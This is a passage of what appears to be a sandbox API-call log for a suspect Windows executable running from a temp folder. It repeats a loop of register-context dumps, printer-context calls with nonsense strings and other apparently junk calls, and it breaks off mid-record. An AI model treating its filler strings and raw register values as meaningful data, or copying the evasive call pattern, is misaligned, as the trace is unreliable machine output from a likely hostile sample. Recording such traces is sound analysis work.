	[0066.226] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.226] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.227] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.227] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.227] GetConsoleCP () returned 0x0
	[0066.227] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.227] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.228] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.228] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.228] GetConsoleCP () returned 0x0
	[0066.228] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, 